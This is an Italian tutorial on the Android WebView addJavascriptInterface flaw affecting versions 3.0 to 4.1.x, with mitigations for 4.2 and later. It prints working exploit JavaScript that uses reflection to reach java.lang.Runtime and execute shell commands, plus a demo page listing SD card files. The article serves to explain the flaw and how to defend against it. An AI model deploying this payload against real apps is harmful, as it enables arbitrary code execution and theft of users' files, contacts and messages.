
Android 3.0 fino a 4.1.x su dispositivi Disney Mobile, eAccess, KDDI, NTT DOCOMO, SoftBank e altri non implementa correttamente la classe WebView, il che consente ad attaccanti remoti di eseguire metodi arbitrari di oggetti Java o causare una denial of service (riavvio) tramite una pagina web appositamente realizzata, come dimostrato dall'uso del metodo WebView.addJavascriptInterface, un problema correlato a CVE-2012-6636.
Molto spesso usiamo WebView per visualizzare una pagina web. Ad esempio, molte applicazioni, per ottenere il controllo da parte del server, mostrano come risultato una pagina web piuttosto che un’implementazione locale. Questo offre molti vantaggi, come il fatto che un cambio di interfaccia non richiede il rilascio di una nuova versione: basta modificare direttamente la parte server. Quando si usa una pagina web per visualizzare l’interfaccia, di solito c’è più o meno un’interazione con il codice Java. Ad esempio, se si clicca un pulsante nella pagina web, dobbiamo conoscere l’evento di clic del pulsante, oppure dobbiamo chiamare un metodo per far eseguire alla pagina qualche azione. Per realizzare queste interazioni, di solito usiamo JS, e WebView ha già fornito un metodo del genere. L’uso specifico è il seguente:
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
Chiediamo a WebView di registrare un oggetto chiamato "jsInterface", e poi in JS possiamo accedere all'oggetto jsInterface, invocare alcuni dei suoi metodi e infine chiamare codice Java, realizzando così l'interazione tra JS e codice Java. Diamo un'occhiata insieme alla descrizione del metodo addJavascriptInterface sul sito di Android:
Questo metodo può essere utilizzato per consentire a JavaScript di controllare l'applicazione host. È una funzionalità potente, ma presenta anche un rischio per la sicurezza per le applicazioni destinate al livello API JELLYBEAN o inferiore, perché JavaScript potrebbe usare la reflection per accedere ai campi pubblici di un oggetto iniettato. L'uso di questo metodo in una WebView contenente contenuti non attendibili potrebbe consentire a un aggressore di manipolare l'applicazione host in modi non previsti, eseguendo codice Java con i permessi dell'applicazione host. Usare estrema cautela quando si utilizza questo metodo in una WebView che potrebbe contenere contenuti non attendibili.
JavaScript interagisce con l'oggetto Java su un thread privato in background di questa WebView. È quindi necessario prestare attenzione per mantenere la thread safety. I campi dell'oggetto Java non sono accessibili.
In parole povere, l'uso di addJavascriptInterface può portare a insicurezza, perché JS potrebbe contenere codice malevolo. Questa è la falla di cui vogliamo parlare oggi: quando JS contiene codice malevolo, può fare qualsiasi cosa.
Tramite JavaScript, un malintenzionato può accedere a qualsiasi cosa sulla scheda SD del dispositivo e persino alle informazioni di contatto, agli SMS, ecc. È disgustoso, cavolo.
WebView aggiunge un oggetto JavaScript e l'applicazione corrente ha i permessi di lettura e scrittura sulla scheda SD, ovvero: android.permission.WRITE_EXTERNAL_STORAGE
Attraverso l'oggetto window si può trovare in JS l'oggetto con il metodo "getClass"; poi, tramite il meccanismo di reflection, si ottiene l'oggetto Runtime, quindi si chiama il metodo statico per eseguire alcuni comandi, come il comando di accesso ai file.
Dalla stringa restituita dallo stream di input del comando eseguito, si possono ottenere le informazioni sui nomi dei file. Poi puoi fare quello che vuoi. Che rischio! Il codice JS fondamentale è il seguente:
function execute(cmdArgs)
{
for (var obj in window) {
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime")
.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
Per dimostrare questa falla, carico una pagina web locale con codice JS malevolo; il codice HTML è il seguente:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script>
var i=0;
function getContents(inputStream)
{
var contents = ""+i;
var b = inputStream.read();
var i = 1;
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
contents += "\n"
b = inputStream.read();
}
i=i+1;
return contents;
}
function execute(cmdArgs)
{
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
var p = execute(["ls","/mnt/sdcard/"]);
document.write(getContents(p.getInputStream()));
</script>
<script language="javascript">
function onButtonClick()
{
// Call the method of injected object from Android source.
var text = jsInterface.onButtonClick("Text passed in from the JS!!!");
alert(text);
}
function onImageClick()
{
//Call the method of injected object from Android source.
var src = document.getElementById("image").src;
var width = document.getElementById("image").width;
var height = document.getElementById("image").height;
// Call the method of injected object from Android source.
jsInterface.onImageClick(src, width, height);
}
</script>
</head>
<body>
<p>Click on the image to the URL to Java code</p>
</p>
<button type="button" onclick="onButtonClick()">Interaction with the Java code</button>
</body>
</html>
return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
Il codice Java è il seguente:
mWebView = (WebView) findViewById(R.id.webview);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
mWebView.loadUrl("file:///android_asset/html/test.html");
È necessario aggiungere i permessi:
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
Sistema Android 4.2 o superiore In Android 4.2 o superiore, Google ha modificato il meccanismo: il metodo Java esposto deve essere annotato con @JavascriptInterface, come nel codice seguente:
class JsObject {
@JavascriptInterface
public String toString() { return "injectedObject"; }
}
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
Sistema Android 4.2 o inferiore
Questo problema è difficile da risolvere, se non impossibile. Innanzitutto, non bisogna chiamare il metodo addJavascriptInterface. La questione chiave è conoscere gli eventi JS attraverso cui JS interagisce con Java. Sappiamo che ce ne sono diversi, come prompt e alert; queste azioni corrispondono a metodi di WebChromeClient. In particolare, prompt corrisponde al metodo onJsPrompt, la cui dichiarazione è la seguente:
public boolean onJsPrompt(WebView view, String url, String message,
String defaultValue, JsPromptResult result)
Con questo metodo, JS può trasferire informazioni (testo) a Java, e Java può anche inviare informazioni (testo) a JS.